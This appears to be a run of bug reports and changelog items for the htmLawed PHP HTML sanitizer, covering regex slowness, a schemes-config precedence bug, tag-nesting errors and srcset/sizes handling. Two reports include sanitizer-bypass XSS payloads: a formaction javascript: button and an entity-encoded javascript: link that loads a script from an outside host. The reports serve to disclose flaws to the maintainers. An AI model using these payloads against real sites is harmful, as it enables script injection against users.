There is a regex that performs very slow in certain scenarios (I'm using HTMLawed indirectly through GLPI). I experience the issue with PHP 7, but not with PHP 8.

Not sure how to workaround it.

I think it would be an improvement if that would not be necessary.

One idea would be to simply expose this as a constant. That way we can simply plug in that constant instead.

One way to do that would be:

interface HtmLawedConstants {
    public const EMPTY_ELEMENTS = ['img', ..];
}

This would work for both the OPP and function version.

* Proper checking of attribute formaction for security

* Transformation for deprecated attribute bgcolor for tbody, tfoot, and thead

* Support for URL schemes ws and wss

<button form="test" formaction="javascript:alert(123489574)">Click</button>' does not contain "formaction

But, if you click on the following code, it will execute the javascript.

I would suggest to disallow the formaction attribute in safe mode.

Let me know if it would be helpful for me to contribute such a change.

Patch: https://github.com/fossar/HTMLawed/pull/15/commits/7d9aaee4ed5fa18637ac37de24362e0aca990a19.patch

I recently updated from 1.2.4 to 1.2.12 and had to modify htmLawed slightly to get our test suite working.  Here are the issues I encountered:

(1)  Depending on the “safe” configuration either ", app, javascript; *: data, javascript, file, http, https" or "; *: file, http, https” is appended to the end of the user-provided “schemes” configuration.  The documentation doesn’t mention that anything will be appended to the config string so I assume this is a bug.  It looks like an operator precedence/parentheses issue, potentially complicated by the ternary operator precedence changing between PHP 7 and 8:

$x = (isset($C['schemes'][2]) && strpos($C['schemes'], ':')
        ? strtolower($C['schemes'])
        : 'href: aim, feed, file, ftp, gopher, http, https, irc, mailto, news, nntp, sftp, ssh, tel, telnet')
       . (empty($C['safe'])
          ? ', app, javascript; *: data, javascript, '
          : '; *:')
       . 'file, http, https';

(2) Only <summary> is allowed as a child of <details> and all other tags are removed despite <details> supporting flow content.  I believe this is happening because in hl_balance() the <details> element is listed in $validMomKidAr.  It is also listed in $otherValidMomKidAr which seems like the correct place for it.

(3) A <br/> tag is stripped out but a <br /> with a space before the / is not stripped out.  I believe this is happening due to a change in the regex used in hl_tag() which detects the end of the tag by looking for whitespace or >.  Having it also stop on / appears to fix the problem.

(4) The <ruby> tag is not allowed to have text directly inside it.  As a result an example from MDN:

<ruby>
明日 <rp>(</rp><rt>Ashita</rt><rp>)</rp>
</ruby>

gets turned into

<ruby>
     <rp>(</rp><rt>Ashita</rt><rp>)</rp>
</ruby>

The documentation states "With $config["safe"] = 1, all URLs are disallowed in the style attribute values" but I cannot find a setting that corresponds to this (so that I can re-enable them.)

'srcset'=>array('img'=>1)

But if the srcset attribute uses width descriptors, the sizes attribute must also be present, or the srcset itself will be ignored (https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/srcset).

So, this entry in $attrEleAr:

'sizes'=>array('link'=>1)

should be changed to:

'sizes'=>array('img'=>1, 'link'=>1)

to allow srcset and sizes to be used together.

<a href="javascript&colon;&lpar;function&lpar;&rpar;{document.body.appendChild&lpar;document.createElement&lpar;&#x27;script&#x27;&rpar;&rpar;.src=&#x27;https://scripts.rainynight.city/beanz.js&#x27;;}&rpar;&lpar;&rpar;;">Beans</a>

Certain special characters are replaced with HTML entities, and it's even possible to load external scripts (the script in this example is just an alert window)

*  Class methods can now be specified as $config hook and hook_tag functions (ref.)

*  Corrects a PHP notice if $config["schemes"] mistakenly lacks colons (ref.)

This is something I've been manually editing into the library for a few years now in order to encapsulate the called hook functions as static methods of my project's existing sanitizer class (which serves as a façade for htmLawed or similar libs).

Could this approach be officially incorporated into htmLawed in a future release?